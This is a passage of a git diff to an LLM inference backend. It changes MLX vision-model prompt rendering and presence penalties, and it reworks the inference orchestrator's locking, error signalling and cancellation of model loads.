+                enable_thinking = enable_thinking,
+                reasoning_effort = reasoning_effort,
+                preserve_thinking = preserve_thinking,
+            )
+        except Exception as exc:
+            if images is None or has_tool_history:
+                raise
+            prompt_error = exc
+        prompt_issue = (
+            _vlm_prompt_issue(prompt, messages) if prompt_error is None else "a rendering error"
+        )
+        if prompt_issue and has_tool_history:
+            raise RuntimeError(
+                f"VLM chat template returned {prompt_issue} and cannot be recovered "
+                "without dropping tool-call history."
+            ) from prompt_error
 
-        cumulative = ""
+        if images is not None and prompt_issue:
+            if tools or any(
+                value is not None
+                for value in (enable_thinking, reasoning_effort, preserve_thinking)
+            ):
+                if prompt_error is not None:
+                    raise prompt_error
+                raise RuntimeError(
+                    f"VLM chat template returned {prompt_issue} and cannot be recovered "
+                    "without dropping requested tools or reasoning controls."
+                )
+            try:
+                recovered_prompt = _render_registered_vlm_prompt(
+                    self._processor,
+                    self._model,
+                    messages,
+                    len(images),
+                )
+            except Exception as recovery_error:
+                if prompt_error is not None:
+                    raise prompt_error
+                raise RuntimeError(
+                    f"VLM chat template returned {prompt_issue}; model-aware "
+                    f"recovery failed: {recovery_error}"
+                ) from recovery_error
+            if recovered_prompt is None:
+                if prompt_error is not None:
+                    raise prompt_error
+                raise RuntimeError(
+                    f"VLM chat template returned {prompt_issue}, and no registered "
+                    "MLX VLM renderer was available for this model."
+                )
+            recovered_issue = _vlm_prompt_issue(recovered_prompt, messages)
+            if recovered_issue:
+                if prompt_error is not None:
+                    raise prompt_error
+                raise RuntimeError(
+                    f"Model-aware VLM rendering returned {recovered_issue} for "
+                    f"{attached_images} attached image(s)."
+                )
+            prompt = recovered_prompt
+        elif prompt_issue:
+            raise RuntimeError(f"VLM chat template returned {prompt_issue}.") from prompt_error
+
+        from core.inference.chat_template_helpers import detect_think_prefill
+
+        # Re-emit an open <think> prefill from the prompt (see _generate_text).
+        cumulative = detect_think_prefill(prompt, getattr(chat_target, "all_special_tokens", None))
+        # Emit it before the first token so the block renders during prefill.
+        if cumulative:
+            yield cumulative
         logger.info(
             "VLM generating: prompt_len=%d, has_image=%s",
             len(prompt),
             image is not None,
         )
-        # mlx_vlm.stream_generate forwards **kwargs into generate_step, which
-        # builds the sampler + logits_processors internally.
-        # GOTCHA: generate_step expects ``temperature=`` (long form); ``temp=``
-        # silently falls into **kwargs and is ignored, stuck at greedy 0.0.
+        # stream_generate forwards **kwargs into generate_step (builds the
+        # sampler + logits_processors internally). GOTCHA: generate_step expects
+        # temperature= (long form); temp= is silently ignored, stuck at greedy 0.0.
         vlm_kwargs = dict(
             max_tokens = max_new_tokens,
             temperature = temperature,
@@ -496,37 +870,56 @@ class MLXInferenceBackend:
             top_k = int(top_k or 0),
             min_p = float(min_p or 0.0),
         )
-        if repetition_penalty is not None and float(repetition_penalty) not in (
+        _rep_active = repetition_penalty is not None and float(repetition_penalty) not in (
             0.0,
             1.0,
-        ):
+        )
+        if presence_penalty:
+            # Presence needs a custom processor: pass the full list (repetition +
+            # presence) instead of the repetition_penalty shortcut so both apply.
+            from mlx_lm.sample_utils import make_logits_processors
+
+            _vlm_processors = []
+            if _rep_active:
+                _vlm_processors.extend(
+                    make_logits_processors(repetition_penalty = float(repetition_penalty))
+                )
+            _vlm_processors.append(_make_mlx_presence_penalty_processor(float(presence_penalty)))
+            vlm_kwargs["logits_processors"] = _vlm_processors
+        elif _rep_active:
             vlm_kwargs["repetition_penalty"] = float(repetition_penalty)
 
-        with self._generation_lock:
-            final_response = None
-            try:
-                for response in vlm_stream(
-                    self._model,
-                    self._processor,
-                    prompt,
-                    images,
-                    **vlm_kwargs,
-                ):
-                    final_response = response
-                    token_text = response.text if hasattr(response, "text") else str(response)
-                    cumulative += token_text
-                    yield cumulative
-                    if cancel_event and cancel_event.is_set():
-                        break
-            finally:
-                # mlx_vlm exposes the same stats fields as mlx_lm.
-                if final_response is not None:
-                    self.last_generation_stats = _build_generation_stats(
-                        getattr(final_response, "prompt_tokens", 0),
-                        getattr(final_response, "prompt_tps", 0.0),
-                        getattr(final_response, "generation_tokens", 0),
-                        getattr(final_response, "generation_tps", 0.0),
-                    )
+        def _stream_vlm_snapshots():
+            nonlocal cumulative
+            with self._generation_lock:
+                final_response = None
+                try:
+                    for response in vlm_stream(
+                        self._model,
+                        self._processor,
+                        prompt,
+                        images,
+                        **vlm_kwargs,
+                    ):
+                        final_response = response
+                        token_text = response.text if hasattr(response, "text") else str(response)
+                        cumulative += token_text
+                        yield cumulative
+                        if cancel_event and cancel_event.is_set():
+                            break
+                finally:
+                    # mlx_vlm exposes the same stats fields as mlx_lm.
+                    if final_response is not None:
+                        self.last_generation_stats = _build_generation_stats(
+                            getattr(final_response, "prompt_tokens", 0),
+                            getattr(final_response, "prompt_tps", 0.0),
+                            getattr(final_response, "generation_tokens", 0),
+                            getattr(final_response, "generation_tps", 0.0),
+                        )
+
+        yield from normalize_reasoning_snapshots(
+            _stream_vlm_snapshots(), chat_target, cancel_event, tools = tools
+        )
 
     def generate_with_adapter_control(
         self,
@@ -534,7 +927,7 @@ class MLXInferenceBackend:
         cancel_event = None,
         **gen_kwargs,
     ) -> Generator[str, None, None]:
-        # MLX LoRA adapter toggling not yet supported — generate normally
+        # MLX LoRA adapter toggling not yet supported; generate normally
         yield from self.generate_chat_response(cancel_event = cancel_event, **gen_kwargs)
 
     def reset_generation_state(self):
diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py
index 5dbd5fb479..3afda74411 100644
--- a/studio/backend/core/inference/orchestrator.py
+++ b/studio/backend/core/inference/orchestrator.py
@@ -45,6 +45,47 @@ _DISPATCH_STOP_TIMEOUT = 5.0
 _DISPATCH_IDLE_TIMEOUT = 30.0
 _DISPATCH_DRAIN_TIMEOUT = 5.0
 
+# Max wait for a cancelled generation to release _gen_lock before unload_model
+# tears the subprocess down. Only bounds a wedged worker.
+_UNLOAD_GEN_LOCK_TIMEOUT = 15.0
+
+
+class GenStreamError(str):
+    """A stream chunk carrying a real backend/generation error, not model text.
+
+    Subclasses str so existing display/logging consumers are unaffected, while
+    callers that must abort a distributed run on error (raise_on_streamed_error)
+    can distinguish a real error from model output whose visible text starts with
+    "Error:" by checking isinstance(chunk, GenStreamError).
+    """
+
+    __slots__ = ("public",)
+
+    def __new__(
+        cls,
+        value,
+        *,
+        public: bool = False,
+    ):
+        obj = str.__new__(cls, value)
+        obj.public = bool(public)
+        return obj
+
+
+class GenStreamErrorRaised(RuntimeError):
+    """Internal exception form of ``GenStreamError`` for generator boundaries."""
+
+    __slots__ = ("public",)
+
+    def __init__(
+        self,
+        value,
+        *,
+        public: bool = False,
+    ):
+        super().__init__(value)
+        self.public = bool(public)
+
 
 class InferenceOrchestrator:
     """
@@ -60,7 +101,13 @@ class InferenceOrchestrator:
         self._cmd_queue: Any = None
         self._resp_queue: Any = None
         self._cancel_event: Any = None  # mp.Event — set to cancel generation
+        # Set for the whole unload; the worker never clears it (unlike _cancel_event),
+        # so a generate queued behind the cancelled one is skipped, not run.
+        self._drain_event: Any = None
         self._gen_lock = threading.Lock()  # Serializes generation
+        # Set during a switch so a generation winning the _gen_lock handoff bails
+        # instead of starting on the outgoing model.
+        self._unload_pending = False
 
         # Dispatcher state for compare mode (adapter-controlled requests):
         # bypass _gen_lock, send commands directly, read from per-request
@@ -69,6 +116,12 @@ class InferenceOrchestrator:
         self._mailbox_lock = threading.Lock()
         self._dispatcher_thread: Optional[threading.Thread] = None
         self._dispatcher_stop = threading.Event()
+        # Serializes dispatcher start/stop. _generate_dispatched (compare mode) bypasses
+        # _gen_lock, so two concurrent compare requests can both reach _start_dispatcher;
+        # without this lock both could observe no live dispatcher and each spawn one,
+        # orphaning the extra thread (self._dispatcher_thread tracks only the last). The
+        # orphan later steals the "unloaded" reply off resp_queue and hangs unload_model.
+        self._dispatcher_lifecycle_lock = threading.Lock()
 
         # Local state mirrors (updated from subprocess responses)
         self.active_model_name: Optional[str] = None
@@ -92,13 +145,11 @@ class InferenceOrchestrator:
 
     @property
     def default_models(self) -> list[str]:
-        # Wait up to 5s for background HF fetch
-        self._top_models_ready.wait(timeout = 5)
         top_gguf = self._top_gguf_cache or []
         top_hub = self._top_hub_cache or []
-        # Curated static defaults first, then HF download-ranked to backfill.
-        # Send extras so the frontend keeps 4 per category after removing
-        # downloaded ones.
+        # Never wait for the remote Hugging Face ranking during startup. Chat's
+        # first /api/models/list needs curated defaults immediately; the
+        # background fetch backfills extra choices on later calls.
         result: list[str] = []
         seen: set[str] = set()
         for m in self._static_models + top_gguf + top_hub:
@@ -148,6 +199,21 @@ class InferenceOrchestrator:
 
     def _spawn_subprocess(self, config: dict) -> None:
         """Spawn a new inference subprocess."""
+        # Same recheck as the training/export spawns, REPAIR reservations only: a
+        # repair swaps without holding the lifecycle gate this load's caller owns,
+        # while an install cannot swap until this gate is released (and then its
+        # queued-load snapshot aborts it), so tolerating installs here lets the
+        # load win instead of failing both sides. Also covers the OpenAI
+        # auto-switch path, which enters _load_model_impl without route guards.
+        from utils.transformers_version import (
+            SidecarSwapInProgress,
+            sidecar_swap_kind,
+        )
+
+        if sidecar_swap_kind() == "repair":
+            raise SidecarSwapInProgress(
+                "A transformers repair is replacing the latest sidecar; retry when it completes."
+            )
         from utils.native_path_leases import (
             native_path_secret_removed_for_child_start,
             run_without_native_path_secret,
@@ -159,6 +225,7 @@ class InferenceOrchestrator:
             self._cmd_queue = _CTX.Queue()
             self._resp_queue = _CTX.Queue()
             self._cancel_event = _CTX.Event()
+            self._drain_event = _CTX.Event()
 
             self._proc = _CTX.Process(
                 target = run_without_native_path_secret,
@@ -167,6 +234,7 @@ class InferenceOrchestrator:
                     "cmd_queue": self._cmd_queue,
                     "resp_queue": self._resp_queue,
                     "cancel_event": self._cancel_event,
+                    "drain_event": self._drain_event,
                     "config": config,
                 },
                 daemon = True,
@@ -182,12 +250,24 @@ class InferenceOrchestrator:
         if self._cancel_event is not None:
             self._cancel_event.set()
 
-    def _shutdown_subprocess(self, timeout: float = 10.0) -> None:
-        """Gracefully shut down the inference subprocess."""
+    def is_worker_alive(self) -> bool:
+        """True while the inference subprocess is running, even with no model
+        active (a failed load can leave a live worker holding sidecar modules)."""
+        proc = self._proc
+        return proc is not None and proc.is_alive()
+
+    def _shutdown_subprocess(self, timeout: float = 10.0) -> bool:
+        """Gracefully shut down the inference subprocess.
+
+        Returns True only once the worker is confirmed dead. If it survives
+        terminate/kill (e.g. wedged in an uninterruptible CUDA syscall that outlives
+        SIGKILL) the live handle is KEPT, not nulled, so is_worker_alive() and the
+        pre-swap liveness guard can still observe the survivor instead of a cleared
+        handle and refuse the destructive sidecar swap."""
         self._stop_dispatcher()  # before killing subprocess
         if self._proc is None or not self._proc.is_alive():
             self._proc = None
-            return
+            return True
 
         # 1. Cancel any ongoing generation first (instant via mp.Event)
         self._cancel_generation()
@@ -224,11 +304,22 @@ class InferenceOrchestrator:
                 except Exception:
                     pass
 
+        if self._proc is not None and self._proc.is_alive():
+            # Survived SIGKILL (uninterruptible syscall): keep the handle so callers
+            # and the pre-swap guard see a live worker rather than a nulled one.
+            logger.error(
+                "Inference subprocess still alive after terminate/kill; "
+                "preserving its handle for the pre-swap liveness check"
+            )
+            return False
+
         self._proc = None
         self._cmd_queue = None
         self._resp_queue = None
         self._cancel_event = None
+        self._drain_event = None
         logger.info("Inference subprocess shut down")
+        return True
 
     def _cleanup(self):
         """atexit handler."""
@@ -409,6 +500,7 @@ class InferenceOrchestrator:
         enable_thinking: Optional[bool] = None,
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
+        presence_penalty: float = 0.0,
     ) -> dict:
         """Build the 'generate' command shared by the locked and dispatched paths."""
         cmd = {
@@ -423,6 +515,7 @@ class InferenceOrchestrator:
             "min_p": min_p,
             "max_new_tokens": max_new_tokens,
             "repetition_penalty": repetition_penalty,
+            "presence_penalty": presence_penalty,
         }
         # Only forward template kwargs the caller set, for older worker compat.
         if use_adapter is not None:
@@ -456,12 +549,26 @@ class InferenceOrchestrator:
         cancel ack from that same source so stale events don't leak into the
         next request.
         """
+        # Latch this stream's subprocess/queue: if a wedged worker is torn down and a
+        # later load spawns a fresh one, bail rather than re-block on the new queue
+        # under _gen_lock (deadlock).
+        initial_proc = self._proc
+        initial_resp_queue = self._resp_queue
         while True:
+            if self._proc is not initial_proc or self._resp_queue is not initial_resp_queue:
+                yield GenStreamError(
+                    f"Error: {self._subprocess_crash_message(crash_context)}",
+                    public = True,
+                )
+                return
             resp = read_one(read_timeout)
             if resp is None:
                 # Check subprocess health
                 if not self._ensure_subprocess_alive():
-                    yield f"Error: {self._subprocess_crash_message(crash_context)}"
+                    yield GenStreamError(
+                        f"Error: {self._subprocess_crash_message(crash_context)}",
+                        public = True,
+                    )
                     return
                 continue
 
@@ -471,7 +578,7 @@ class InferenceOrchestrator:
             # Subprocess-level error (no request_id); request-scoped failures
             # arrive as gen_error below.
             if rtype == "error" and not resp.get("request_id"):
-                yield f"Error: {resp.get('error', 'Unknown error')}"
+                yield GenStreamError(f"Error: {resp.get('error', 'Unknown error')}")
                 return
 
             if rtype == "token":
@@ -486,40 +593,63 @@ class InferenceOrchestrator:
                     stats_holder["stats"] = resp.get("stats")
                 return
             elif rtype == "gen_error":
-                yield f"Error: {resp.get('error', 'Unknown error')}"
+                yield GenStreamError(f"Error: {resp.get('error', 'Unknown error')}")
                 return
 
     # ------------------------------------------------------------------
     # Dispatcher — per-request mailbox routing for compare mode
     # ------------------------------------------------------------------
 
-    def _start_dispatcher(self) -> None:
+    def _start_dispatcher(self) -> bool:
         """Start the dispatcher thread if not already running.
 
         The dispatcher reads the shared resp_queue and routes responses to
         per-request mailbox queues, letting multiple adapter-controlled
         (compare) requests be in-flight without holding _gen_lock.
-        """
-        if self._dispatcher_thread is not None and self._dispatcher_thread.is_alive():
-            return
 
-        self._dispatcher_stop.clear()
-        self._dispatcher_thread = threading.Thread(
-            target = self._dispatcher_loop,
-            daemon = True,
-            name = "inference-dispatcher",
-        )
-        self._dispatcher_thread.start()
-        logger.debug("Dispatcher thread started")
+        The whole check-then-spawn runs under _dispatcher_lifecycle_lock so
+        concurrent compare requests (which bypass _gen_lock) can't both observe
+        no live dispatcher and each spawn one. Returns True only for the caller
+        that actually started a new thread; False if one was already alive.
+        """
+        with self._dispatcher_lifecycle_lock:
+            # Refuse to start while an unload is in progress. unload_model sets
+            # _unload_pending under this same lock before it stops the idle
+            # dispatcher, so a start queued behind that stop observes the unload
+            # here and bails. Without this a fresh dispatcher would be spawned
+            # after the stop, become the resp_queue reader, and consume the
+            # worker's "unloaded" reply (unroutable, so dropped) before
+            # unload_model's _wait_response sees it -- hanging the unload 300s.
+            if self._unload_pending:
+                return False
+            if self._dispatcher_thread is not None and self._dispatcher_thread.is_alive():
+                return False
+
+            self._dispatcher_stop.clear()
+            self._dispatcher_thread = threading.Thread(
+                target = self._dispatcher_loop,
+                daemon = True,
+                name = "inference-dispatcher",
+            )
+            self._dispatcher_thread.start()
+            logger.debug("Dispatcher thread started")
+            return True
 
     def _stop_dispatcher(self) -> None:
-        """Signal the dispatcher to stop and wait for it."""
-        if self._dispatcher_thread is None:
-            return
-        self._dispatcher_stop.set()
-        self._dispatcher_thread.join(timeout = _DISPATCH_STOP_TIMEOUT)
-        self._dispatcher_thread = None
-        logger.debug("Dispatcher thread stopped")
+        """Signal the dispatcher to stop and wait for it.
+
+        Runs under _dispatcher_lifecycle_lock (paired with _start_dispatcher) so
+        a stop can't interleave with a concurrent start. Callers must NOT hold
+        _mailbox_lock here: this joins the dispatcher, and the dispatcher loop
+        takes _mailbox_lock, so holding it would deadlock the join.
+        """
+        with self._dispatcher_lifecycle_lock:
+            if self._dispatcher_thread is None:
+                return
+            self._dispatcher_stop.set()
+            self._dispatcher_thread.join(timeout = _DISPATCH_STOP_TIMEOUT)
+            self._dispatcher_thread = None
+            logger.debug("Dispatcher thread stopped")
 
     def _dispatcher_loop(self) -> None:
         """Background loop: read resp_queue → route to mailboxes by request_id."""
@@ -581,6 +711,7 @@ class InferenceOrchestrator:
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
         stats_holder: Optional[dict] = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Dispatched generation — sends command without holding _gen_lock.
 
@@ -589,15 +720,32 @@ class InferenceOrchestrator:
         GPU work stays serialized; this only avoids orchestrator lock contention.
         """
         if not self._ensure_subprocess_alive():
-            yield "Error: Inference subprocess is not running"
+            yield GenStreamError("Error: Inference subprocess is not running", public = True)
             return
 
         if not self.active_model_name:
-            yield "Error: No active model"
+            yield GenStreamError("Error: No active model", public = True)
+            return
+        # Latch the target model so the recheck below can detect a switch that completed
+        # between _start_dispatcher and mailbox registration (mirrors the locked path's
+        # expected_model check).
+        expected_model = self.active_model_name
+
+        # Switch in flight (unload waiting on _gen_lock). This path bypasses the lock,
+        # so without this early-out a compare request would enqueue a generate on the
+        # outgoing model and delay the switch.
+        if self._unload_pending:
+            yield GenStreamError("Error: model is being unloaded", public = True)
             return
 
-        # Ensure dispatcher is running
-        self._start_dispatcher()
+        # Ensure the dispatcher runs. _start_dispatcher serializes concurrent starters under
+        # _dispatcher_lifecycle_lock and returns True only for the caller that actually spawned
+        # the thread, so at most one dispatcher ever exists even when two compare requests race
+        # here. Derive dispatcher_preexisting from that atomic result (not a separate unlocked
+        # is_alive() read): if THIS call started the dispatcher and then bails on a racing
+        # unload, it must stop it again (see the unloading bail below).
+        started = self._start_dispatcher()
+        dispatcher_preexisting = not started
 
         request_id = str(uuid.uuid4())
 
@@ -617,6 +765,7 @@ class InferenceOrchestrator:
             min_p = min_p,
             max_new_tokens = max_new_tokens,
             repetition_penalty = repetition_penalty,
+            presence_penalty = presence_penalty,
             use_adapter = use_adapter,
             tools = tools,
             enable_thinking = enable_thinking,
@@ -624,17 +773,49 @@ class InferenceOrchestrator:
             preserve_thinking = preserve_thinking,
         )
 
-        # Create mailbox BEFORE sending command
+        # Create the mailbox BEFORE sending, rechecking _unload_pending under
+        # _mailbox_lock: an unload sets _unload_pending before _wait_dispatcher_idle
+        # reads _mailboxes under the same lock, so either the idle check sees this
+        # mailbox (and tears the dispatcher down) or we see the unload and bail.
+        # Registering after would orphan the mailbox and hang the compare stream forever.
         mailbox: queue.Queue = queue.Queue()
         with self._mailbox_lock:
-            self._mailboxes[request_id] = mailbox
+            # _unload_pending alone is not enough: an unload that ran fully since
+            # _start_dispatcher clears it in its finally and stops the dispatcher, so it
+            # reads False here though the dispatcher is gone and the model swapped. Also
+            # bail when the active model changed or the dispatcher died: a mailbox with no
+            # dispatcher to route gen_done/gen_error hangs the compare stream.
+            dispatcher_alive = (
+                self._dispatcher_thread is not None and self._dispatcher_thread.is_alive()
+            )
+            unloading = (
+                self._unload_pending
+                or self.active_model_name != expected_model
+                or not dispatcher_alive
+            )
+            if not unloading:
+                self._mailboxes[request_id] = mailbox
+            # When bailing without a mailbox, note whether any OTHER compare request still
+            # routes through the dispatcher; if none and this call started it, stop it below.
+            orphaned_dispatcher = unloading and not dispatcher_preexisting and not self._mailboxes
+        if unloading:
+            # A racing unload can pass its _wait_dispatcher_idle() while the dispatcher was
+            # stopped, then set _unload_pending. The one we just started would otherwise
+            # linger with no mailboxes, race unload_model's _wait_response for the "unloaded"
+            # reply off resp_queue, and drop it as unroutable -- hanging the unload 300s. Stop
+            # it here so the unload stays the sole resp_queue reader. Outside _mailbox_lock:
+            # _stop_dispatcher joins the dispatcher, which itself takes that lock.
+            if orphaned_dispatcher:
+                self._stop_dispatcher()
+            yield GenStreamError("Error: model is being unloaded", public = True)
+            return
 
         try:
             self._send_cmd(cmd)
         except RuntimeError as exc:
             with self._mailbox_lock:
                 self._mailboxes.pop(request_id, None)
-            yield f"Error: {exc}"
+            yield GenStreamError(f"Error: {exc}")
             return
 
         def read_mailbox(timeout):
@@ -676,14 +857,18 @@ class InferenceOrchestrator:
                 return
         logger.warning("Timed out draining mailbox after cancel")
 
-    def _wait_dispatcher_idle(self) -> None:
+    def _wait_dispatcher_idle(self) -> bool:
         """Wait for all dispatched requests to complete, then stop dispatcher.
 
-        Called by _generate_inner before the _gen_lock path so the dispatcher
-        thread isn't competing for resp_queue reads.
+        Returns True if the dispatcher was stopped (all mailboxes drained, or no
+        dispatcher was running), and False if it was left running because compare
+        requests were still active after _DISPATCH_IDLE_TIMEOUT.
+
+        Called before the _gen_lock path so the dispatcher thread isn't competing
+        for resp_queue reads.
         """
         if self._dispatcher_thread is None or not self._dispatcher_thread.is_alive():
-            return
+            return True
 
         # Wait for all mailboxes to be emptied (dispatched requests complete)
         deadline = time.monotonic() + _DISPATCH_IDLE_TIMEOUT
@@ -704,13 +889,74 @@ class InferenceOrchestrator:
                 "leaving dispatcher running for compare requests",
                 len(self._mailboxes),
             )
-        else:
-            self._stop_dispatcher()
+            return False
+        self._stop_dispatcher()
+        return True
+
+    def share_distributed_object(
+        self,
+        obj,
+        timeout: Optional[float] = 300.0,
+    ):
+        """Share a small object through the worker's MLX distributed group."""
+        if not self._ensure_subprocess_alive():
+            raise RuntimeError("Inference subprocess is not running")
+
+        self._wait_dispatcher_idle()
+        with self._mailbox_lock:
+            if self._mailboxes:
+                raise RuntimeError(
+                    "Cannot share distributed objects while compare requests are active"
+                )
+        request_id = str(uuid.uuid4())
+        cmd = {
+            "type": "share_object",
+            "request_id": request_id,
+            "object": obj,
+        }
+
+        with self._gen_lock:
+            self._send_cmd(cmd)
+            deadline = None if timeout is None else time.monotonic() + timeout
+            while deadline is None or time.monotonic() < deadline:
+                remaining = 1.0 if deadline is None else max(0.1, deadline - time.monotonic())
+                resp = self._read_resp(timeout = min(remaining, 1.0))
+                if resp is None:
+                    if not self._ensure_subprocess_alive():
+                        raise RuntimeError(self._subprocess_crash_message("sharing chat turn"))
+                    continue
+
+                rtype = resp.get("type", "")
+                rid = resp.get("request_id")
+                if rid and rid != request_id:
+                    logger.debug(
+                        "Skipping response for request_id=%s while sharing request_id=%s",
+                        rid,
+                        request_id,
+                    )
+                    continue
+                if rtype == "shared":
+                    return resp.get("object")
+                if rtype == "share_error":
+                    raise RuntimeError(resp.get("error", "Failed to share object"))
+                if rtype == "error":
+                    raise RuntimeError(resp.get("error", "Subprocess error"))
+                if rtype == "status":
+                    continue
+
+            raise RuntimeError("Timeout waiting for distributed object share")
 
     # ------------------------------------------------------------------
     # Public API — same interface as InferenceBackend
     # ------------------------------------------------------------------
 
+    # Monotonic count of PUBLISHED loads; lets the install route detect a load
+    # (including a same-model reload) that completed while it waited on the gate.
+    # Bumped when the load result is published, not at load start: a start-time
+    # bump is already visible when the installer snapshots mid-load, so the
+    # completed reload would look unchanged and get unloaded by the swap.
+    load_generation: int = 0
+
     def load_model(
         self,
         config,  # ModelConfig
@@ -722,6 +968,8 @@ class InferenceOrchestrator:
         approved_remote_code_fingerprint: Optional[str] = None,
         gpu_ids: Optional[list[int]] = None,
         subject: Optional[str] = None,
+        tensor_parallel: bool = False,
+        mlx_distributed: bool = False,
     ) -> bool:
         """Load a model for inference.
 
@@ -747,6 +995,11 @@ class InferenceOrchestrator:
                 "approved_remote_code_fingerprint": approved_remote_code_fingerprint,
                 "subject": subject,
                 "gpu_ids": gpu_ids,
+                "tensor_parallel": bool(tensor_parallel),
+                "mlx_distributed": bool(mlx_distributed),
+                "mlx_parallel_mode": ("tensor" if tensor_parallel else "pipeline")
+                if mlx_distributed
+                else None,
             }
             resolved_gpu_ids, gpu_selection = prepare_gpu_selection(
                 gpu_ids,
@@ -757,13 +1010,36 @@ class InferenceOrchestrator:
             sub_config["resolved_gpu_ids"] = resolved_gpu_ids
             sub_config["gpu_selection"] = gpu_selection
 
+            # Recheck the sidecar reservation BEFORE tearing the old worker down,
+            # for REPAIRS only: an install holds this same lifecycle gate, so it
+            # cannot swap while this load runs, and its queued-load snapshot
+            # aborts it after this load publishes -- the load wins cleanly.
+            # Raising here (repair) keeps the current model loaded.
+            from utils.transformers_version import (
+                SidecarSwapInProgress,
+                sidecar_swap_kind,
+            )
+
+            if sidecar_swap_kind() == "repair":
+                raise SidecarSwapInProgress(
+                    "A transformers repair is replacing the latest sidecar; "
+                    "retry when it completes."
+                )
+
             # Always kill the existing subprocess and spawn fresh: reusing one
             # after unsloth patches torch internals breaks getsource on reload.
             if self._ensure_subprocess_alive():
                 self._cancel_generation()
                 time.sleep(0.3)
-                self._shutdown_subprocess()
-
+                if self._shutdown_subprocess() is False:
+                    # The worker survived terminate/kill (e.g. a wedged CUDA syscall that
+                    # outlives SIGKILL). Its handle is kept, so is_worker_alive() and the
+                    # pre-swap guard still see it; do not spawn a second worker over one
+                    # still holding GPU memory. Fail so the load can retry once it exits.
+                    raise RuntimeError(
+                        "The current inference worker did not exit and still holds GPU "
+                        "memory; not starting a new model over it. Retry shortly."
+                    )
             elif self._proc is not None:
                 self._shutdown_subprocess(timeout = 2)
 
@@ -772,6 +1048,19 @@ class InferenceOrchestrator:
             )
 
             for attempt in range(2):
+                # Stop-loading (/unload -> cancel_load) aborts a load by discarding this
+                # model's loading marker. cancel_load only kills a live child; if the cancel
+                # lands before any child exists (GPU placement, or between retries) there is
+                # nothing to kill, and without this check the loop would spawn a worker and
+                # load the model after /unload reported it unloaded. Observe removal and stop.
+                if model_name not in self.loading_models:
+                    logger.info(
+                        "Load for '%s' was cancelled before spawn; not starting a worker",
+                        model_name,
+                    )
+                    self.active_model_name = None
+                    self.models.clear()
+                    return False
                 logger.info(
                     "Spawning fresh inference subprocess for '%s' "
                     "(transformers %s.x, attempt %d/2%s)",
@@ -783,6 +1072,22 @@ class InferenceOrchestrator:
                 sub_config["disable_xet"] = disable_xet
                 self._spawn_subprocess(sub_config)
 
+                # A cancel can land after the pre-spawn recheck but while _spawn_subprocess
+                # is still creating the queues/process. cancel_load runs off the lifecycle
+                # gate, so its _shutdown_subprocess can see _proc still None and no-op,
+                # orphaning this fresh worker; the load would then wait for "loaded" and
+                # publish a model /unload reported unloaded, over a live subprocess nothing
+                # reaps. Recheck now the child exists and tear it down before publishing.
+                if model_name not in self.loading_models:
+                    logger.info(
+                        "Load for '%s' was cancelled during spawn; tearing the worker down",
+                        model_name,
+                    )
+                    self._shutdown_subprocess(timeout = 5)
+                    self.active_model_name = None
+                    self.models.clear()
+                    return False
+
                 try:
                     resp = self._wait_response("loaded")
                 except DownloadStallError:
@@ -803,8 +1108,32 @@ class InferenceOrchestrator:
                     )
 
                 if resp.get("success"):
+                    # A cancel can land while we were parked in _wait_response above.
+                    # cancel_load (off the lifecycle gate) discards this model's loading
+                    # marker BEFORE its teardown, so a Stop-loading that fired after the
+                    # worker queued "loaded" (which we can still consume during cancel_load's
+                    # shutdown window) shows up here only as the marker's removal. Without
+                    # this recheck we would publish active_model_name/models for a model
+                    # /unload reported cancelled, over a subprocess cancel_load just killed;
+                    # its post-teardown re-clear cannot undo a publish that lands after it
+                    # returns. Observe the removal and abort; cancel_load owns teardown.
+                    if model_name not in self.loading_models:
+                        logger.info(
+                            "Load for '%s' was cancelled while waiting for 'loaded'; "
+                            "not publishing the cancelled model",
+                            model_name,
+                        )
+                        self.active_model_name = None
+                        self.models.clear()
+                        return False
                     model_info = resp.get("model_info", {})
                     self.active_model_name = model_info.get("identifier", model_name)
+                    self.load_generation += 1
+                    # A load always spawns a fresh subprocess holding only this model, so
+                    # mirror that. A lingering stale name would pass unload_model's "not in
+                    # self.models" guard, and the worker's absent-name fallback would unload
+                    # its *active* model, not the already-gone one.
+                    self.models = {}
                     self.models[self.active_model_name] = {
                         "is_vision": model_info.get("is_vision", False),
                         "is_lora": model_info.get("is_lora", False),
@@ -831,23 +1160,78 @@ class InferenceOrchestrator:
                     self.models.clear()
                     raise Exception(error)
 
-        except Exception:
+        except Exception as exc:
             self.loading_models.discard(model_name)
+            from utils.transformers_version import SidecarSwapInProgress
+
+            if isinstance(exc, SidecarSwapInProgress) and self._ensure_subprocess_alive():
+                # Raised before the old worker was torn down: the previous model
+                # is still live, so keep the mirrors (clearing them would let the
+                # installer treat the worker as inactive and kill it unreported).
+                raise
             self.active_model_name = None
             self.models.clear()
             raise
 
-    def unload_model(self, model_name: str) -> bool:
-        """Unload a model from the subprocess."""
-        if model_name in self.loading_models:
-            logger.info(
-                "Cancelling in-flight load for model '%s' by terminating subprocess",
+    def cancel_load(self, model_name: str) -> bool:
+        """Abort an in-flight load by terminating its subprocess.
+
+        Returns True if a load for ``model_name`` (matched case-insensitively) was
+        cancelled, False if nothing was loading under that name. This only tears the
+        loading subprocess down -- it sends no command to a worker -- so, unlike the
+        rest of ``unload_model``, it is safe to run WITHOUT the inference lifecycle
+        gate. ``/unload`` calls it off-gate so the "stop loading" button can interrupt
+        a safetensors load that holds the gate for its whole (multi-minute) duration;
+        a gated cancel could never preempt that load.
+        """
+        target = model_name
+        if target not in self.loading_models:
+            target = next(
+                (m for m in self.loading_models if m.lower() == model_name.lower()),
                 model_name,
             )
-            self._shutdown_subprocess(timeout = 0.5)
-            self.loading_models.discard(model_name)
-            self.active_model_name = None
-            self.models.clear()
+        if target not in self.loading_models:
+            return False
+        logger.info(
+            "Cancelling in-flight load for model '%s' by terminating subprocess",
+            target,
+        )
+        # Discard the loading marker (and clear local state) BEFORE the teardown, not
+        # after. cancel_load runs off the lifecycle gate, alongside a load_model that
+        # rechecks this marker before each spawn. But _shutdown_subprocess can block (~1s
+        # tearing a live child down and joining the dispatcher), so clearing only after
+        # leaves a window where load_model reads the marker still set, passes its pre-spawn
+        # recheck, and loads the model after /unload reported it cancelled. Clear first.
+        self.loading_models.discard(target)
+        self.active_model_name = None
+        self.models.clear()
+        self._shutdown_subprocess(timeout = 0.5)
